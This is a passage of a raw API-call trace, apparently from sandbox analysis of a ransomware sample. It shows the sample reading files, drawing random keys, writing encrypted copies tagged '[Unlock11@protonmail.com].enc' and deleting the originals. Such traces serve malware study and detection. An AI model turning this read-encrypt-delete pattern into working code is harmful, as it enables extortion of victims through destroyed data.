GetLastError () returned 0x0 [0113.061] GetCurrentThreadId () returned 0x9b0 [0113.061] GetLastError () returned 0x0 [0113.061] GetCurrentThreadId () returned 0x9b0 [0113.061] GetLastError () returned 0x0 [0113.061] GetLastError () returned 0x0 [0113.061] GetLastError () returned 0x0 [0113.061] GetLastError () returned 0x0 [0113.061] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\header.bmp", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\header.bmp", lpFilePart=0x9bada4*="header.bmp") returned 0x20 [0113.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0113.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0113.062] GetCurrentThreadId () returned 0x9b0 [0113.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0113.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0113.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cbb0 [0113.062] GetLastError () returned 0x0 [0113.062] GetLastError () returned 0x0 [0113.062] GetLastError () returned 0x0 [0113.062] GetLastError () returned 0x0 [0113.062] GetCurrentThreadId () returned 0x9b0 [0113.062] GetLastError () returned 0x0 [0113.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cbb0 | out: hHeap=0x2ad0000) returned 1 [0113.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cdb8 [0113.064] GetCurrentThreadId () returned 0x9b0 [0113.064] GetLastError () returned 0x0 [0113.064] GetLastError () returned 0x0 [0113.064] GetLastError () returned 0x0 [0113.065] GetLastError () returned 0x0 [0113.065] GetCurrentThreadId () returned 0x9b0 [0113.065] GetLastError () returned 0x0 [0113.065] GetLastError () returned 0x0 [0113.065] GetLastError () returned 0x0 [0113.065] GetLastError () returned 0x0 [0113.065] GetLastError () returned 0x0 [0113.065] GetCurrentThreadId () returned 0x9b0 [0113.065] GetLastError () returned 0x0 [0113.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cdb8 | out: hHeap=0x2ad0000) returned 1 [0113.065] GetLastError () returned 0x0 [0113.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0113.066] GetLastError () returned 0x0 [0113.066] GetLastError () returned 0x0 [0113.066] GetLastError () returned 0x0 [0113.066] GetCurrentThreadId () returned 0x9b0 [0113.066] GetLastError () returned 0x0 [0113.066] GetLastError () returned 0x0 [0113.066] GetLastError () returned 0x0 [0113.066] GetLastError () returned 0x0 [0113.066] GetLastError () returned 0x0 [0113.066] GetCurrentThreadId () returned 0x9b0 [0113.066] GetLastError () returned 0x0 [0113.066] GetCurrentThreadId () returned 0x9b0 [0113.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0113.067] GetLastError () returned 0x0 [0113.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0113.067] GetLastError () returned 0x0 [0113.067] GetLastError () returned 0x0 [0113.067] GetLastError () returned 0x0 [0113.067] GetCurrentThreadId () returned 0x9b0 [0113.067] GetLastError () returned 0x0 [0113.067] GetLastError () returned 0x0 [0113.067] GetLastError () returned 0x0 [0113.067] GetLastError () returned 0x0 [0113.067] GetLastError () returned 0x0 [0113.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.068] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c)) returned 1 [0113.068] GetLastError () returned 0x0 [0113.068] GetCurrentThreadId () returned 0x9b0 [0113.068] GetLastError () returned 0x0 [0113.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0113.068] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c8c | out: pbBuffer=0x3662c8c) returned 1 [0113.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0113.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0113.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0113.068] GetCurrentThreadId () returned 0x9b0 [0113.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd40 [0113.069] GetLastError () returned 0x0 [0113.069] GetLastError () returned 0x0 [0113.069] GetLastError () returned 0x0 [0113.069] GetLastError () returned 0x0 [0113.069] GetCurrentThreadId () returned 0x9b0 [0113.069] GetLastError () returned 0x0 [0113.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd40 | out: hHeap=0x2ad0000) returned 1 [0113.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce80 [0113.069] GetCurrentThreadId () returned 0x9b0 [0113.069] GetLastError () returned 0x0 [0113.069] GetLastError () returned 0x0 [0113.070] GetLastError () returned 0x0 [0113.070] GetLastError () returned 0x0 [0113.070] GetCurrentThreadId () returned 0x9b0 [0113.070] GetLastError () returned 0x0 [0113.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce80 | out: hHeap=0x2ad0000) returned 1 [0113.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de508 [0113.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0113.070] GetLastError () returned 0x0 [0113.070] GetLastError () returned 0x0 [0113.070] GetLastError () returned 0x0 [0113.070] GetLastError () returned 0x0 [0113.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de578 [0113.071] GetLastError () returned 0x0 [0113.071] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.071] GetFileType (hFile=0x39c) returned 0x1 [0113.071] GetLastError () returned 0x0 [0113.071] GetCurrentThreadId () returned 0x9b0 [0113.071] GetLastError () returned 0x0 [0113.071] GetFileType (hFile=0x39c) returned 0x1 [0113.071] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.071] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.071] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.072] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.072] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.072] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.072] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.072] GetLastError () returned 0x0 [0113.072] GetCurrentThreadId () returned 0x9b0 [0113.072] GetLastError () returned 0x0 [0113.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0113.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0113.072] GetLastError () returned 0x0 [0113.072] GetLastError () returned 0x0 [0113.072] GetLastError () returned 0x0 [0113.072] GetLastError () returned 0x0 [0113.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de558 [0113.073] GetLastError () returned 0x0 [0113.073] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\header.bmp.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\header.bmp.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.073] GetFileType (hFile=0x3ac) returned 0x1 [0113.073] GetLastError () returned 0x0 [0113.073] GetCurrentThreadId () returned 0x9b0 [0113.073] GetLastError () returned 0x0 [0113.073] GetFileType (hFile=0x3ac) returned 0x1 [0113.074] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.074] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.074] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.074] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.074] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.074] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.074] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.074] GetLastError () returned 0x0 [0113.074] GetCurrentThreadId () returned 0x9b0 [0113.074] GetLastError () returned 0x0 [0113.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0113.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0113.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0113.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0113.075] GetLastError () returned 0x0 [0113.075] GetLastError () returned 0x0 [0113.075] GetCurrentThreadId () returned 0x9b0 [0113.075] GetLastError () returned 0x0 [0113.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.075] GetLastError () returned 0x0 [0113.075] GetLastError () returned 0x0 [0113.075] GetCurrentThreadId () returned 0x9b0 [0113.075] GetLastError () returned 0x0 [0113.075] GetLastError () returned 0x0 [0113.077] GetLastError () returned 0x0 [0113.077] GetCurrentThreadId () returned 0x9b0 [0113.077] GetLastError () returned 0x0 [0113.077] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xe41) returned 0x35c5908 [0113.077] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xe45) returned 0x35c5908 [0113.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de558 [0113.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.078] GetCurrentThreadId () returned 0x9b0 [0113.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xe48) returned 0x33ea018 [0113.078] GetLastError () returned 0x0 [0113.078] GetLastError () returned 0x0 [0113.078] GetLastError () returned 0x0 [0113.078] GetLastError () returned 0x0 [0113.078] GetCurrentThreadId () returned 0x9b0 [0113.078] GetLastError () returned 0x0 [0113.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea018 | out: hHeap=0x2ad0000) returned 1 [0113.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0113.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0113.079] GetLastError () returned 0x0 [0113.079] GetLastError () returned 0x0 [0113.079] GetCurrentThreadId () returned 0x9b0 [0113.079] GetLastError () returned 0x0 [0113.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf330 | out: hHeap=0x2ad0000) returned 1 [0113.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c6758 [0113.079] GetLastError () returned 0x0 [0113.079] GetLastError () returned 0x0 [0113.079] GetCurrentThreadId () returned 0x9b0 [0113.079] GetLastError () returned 0x0 [0113.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c6758 | out: hHeap=0x2ad0000) returned 1 [0113.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.080] GetLastError () returned 0x0 [0113.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0113.081] CloseHandle (hObject=0x3ac) returned 1 [0113.081] GetLastError () returned 0x0 [0113.081] GetCurrentThreadId () returned 0x9b0 [0113.081] GetLastError () returned 0x0 [0113.081] GetLastError () returned 0x0 [0113.081] CloseHandle (hObject=0x39c) returned 1 [0113.081] GetLastError () returned 0x0 [0113.081] GetCurrentThreadId () returned 0x9b0 [0113.081] GetLastError () returned 0x0 [0113.082] GetLastError () returned 0x0 [0113.082] GetLastError () returned 0x0 [0113.082] GetLastError () returned 0x0 [0113.082] GetLastError () returned 0x0 [0113.082] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0113.083] GetLastError () returned 0x0 [0113.083] GetCurrentThreadId () returned 0x9b0 [0113.083] GetLastError () returned 0x0 [0113.083] GetCurrentThreadId () returned 0x9b0 [0113.083] GetLastError () returned 0x0 [0113.083] GetLastError () returned 0x0 [0113.083] GetLastError () returned 0x0 [0113.083] GetLastError () returned 0x0 [0113.084] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core.mzz", lpFilePart=0x9bada4*="netfx_Core.mzz") returned 0x24 [0113.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0113.084] GetCurrentThreadId () returned 0x9b0 [0113.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0113.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0113.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0113.084] GetLastError () returned 0x0 [0113.084] GetLastError () returned 0x0 [0113.084] GetLastError () returned 0x0 [0113.084] GetLastError () returned 0x0 [0113.084] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", lpFilePart=0x9bada4*="netfx_Core_x64.msi") returned 0x28 [0113.084] GetCurrentThreadId () returned 0x9b0 [0113.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0113.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0113.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0113.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0113.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cdb8 [0113.085] GetLastError () returned 0x0 [0113.085] GetLastError () returned 0x0 [0113.085] GetLastError () returned 0x0 [0113.085] GetLastError () returned 0x0 [0113.085] GetCurrentThreadId () returned 0x9b0 [0113.085] GetLastError () returned 0x0 [0113.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cdb8 | out: hHeap=0x2ad0000) returned 1 [0113.086] GetCurrentThreadId () returned 0x9b0 [0113.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cb88 [0113.086] GetLastError () returned 0x0 [0113.086] GetLastError () returned 0x0 [0113.086] GetLastError () returned 0x0 [0113.086] GetLastError () returned 0x0 [0113.086] GetCurrentThreadId () returned 0x9b0 [0113.086] GetCurrentThreadId () returned 0x9b0 [0113.086] GetCurrentThreadId () returned 0x9b0 [0113.086] GetCurrentThreadId () returned 0x9b0 [0113.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a928 [0113.087] GetCurrentThreadId () returned 0x9b0 [0113.087] GetCurrentThreadId () returned 0x9b0 [0113.087] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200)) returned 1 [0113.087] GetCurrentThreadId () returned 0x9b0 [0113.087] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c64 | out: pbBuffer=0x3662c64) returned 1 [0113.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0113.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0113.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0113.087] GetCurrentThreadId () returned 0x9b0 [0113.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0113.088] GetCurrentThreadId () returned 0x9b0 [0113.088] GetCurrentThreadId () returned 0x9b0 [0113.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cdb8 [0113.088] GetCurrentThreadId () returned 0x9b0 [0113.088] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.088] GetFileType (hFile=0x39c) returned 0x1 [0113.088] GetCurrentThreadId () returned 0x9b0 [0113.088] GetFileType (hFile=0x39c) returned 0x1 [0113.088] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.089] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.089] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.089] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.089] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.089] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.089] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.089] GetLastError () returned 0x0 [0113.089] GetCurrentThreadId () returned 0x9b0 [0113.089] GetLastError () returned 0x0 [0113.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0113.089] GetLastError () returned 0x0 [0113.089] GetLastError () returned 0x0 [0113.089] GetLastError () returned 0x0 [0113.090] GetLastError () returned 0x0 [0113.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de618 [0113.090] GetLastError () returned 0x0 [0113.090] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.090] GetFileType (hFile=0x3ac) returned 0x1 [0113.090] GetLastError () returned 0x0 [0113.090] GetCurrentThreadId () returned 0x9b0 [0113.090] GetLastError () returned 0x0 [0113.091] GetFileType (hFile=0x3ac) returned 0x1 [0113.091] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.091] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.091] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.091] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.091] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.091] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.091] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.091] GetLastError () returned 0x0 [0113.091] GetCurrentThreadId () returned 0x9b0 [0113.091] GetLastError () returned 0x0 [0113.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0113.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0113.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0113.092] GetLastError () returned 0x0 [0113.092] GetLastError () returned 0x0 [0113.092] GetCurrentThreadId () returned 0x9b0 [0113.092] GetLastError () returned 0x0 [0113.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0113.092] GetLastError () returned 0x0 [0113.092] GetLastError () returned 0x0 [0113.092] GetCurrentThreadId () returned 0x9b0 [0113.092] GetLastError () returned 0x0 [0113.092] GetCurrentThreadId () returned 0x9b0 [0113.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.093] GetLastError () returned 0x0 [0113.094] GetLastError () returned 0x0 [0113.095] GetCurrentThreadId () returned 0x9b0 [0113.095] GetLastError () returned 0x0 [0113.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.095] GetLastError () returned 0x0 [0113.096] GetLastError () returned 0x0 [0113.096] GetLastError () returned 0x0 [0113.096] GetLastError () returned 0x0 [0113.096] GetCurrentThreadId () returned 0x9b0 [0113.096] GetLastError () returned 0x0 [0113.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0113.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.096] GetLastError () returned 0x0 [0113.098] GetLastError () returned 0x0 [0113.098] GetCurrentThreadId () returned 0x9b0 [0113.098] GetLastError () returned 0x0 [0113.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.099] GetLastError () returned 0x0 [0113.100] GetLastError () returned 0x0 [0113.100] GetCurrentThreadId () returned 0x9b0 [0113.100] GetLastError () returned 0x0 [0113.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.100] GetCurrentThreadId () returned 0x9b0 [0113.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0113.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.100] GetLastError () returned 0x0 [0113.101] GetLastError () returned 0x0 [0113.101] GetLastError () returned 0x0 [0113.101] GetLastError () returned 0x0 [0113.101] GetCurrentThreadId () returned 0x9b0 [0113.101] GetLastError () returned 0x0 [0113.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0113.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.101] GetLastError () returned 0x0 [0113.102] GetLastError () returned 0x0 [0113.102] GetCurrentThreadId () returned 0x9b0 [0113.103] GetLastError () returned 0x0 [0113.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.103] GetLastError () returned 0x0 [0113.105] GetLastError () returned 0x0 [0113.105] GetCurrentThreadId () 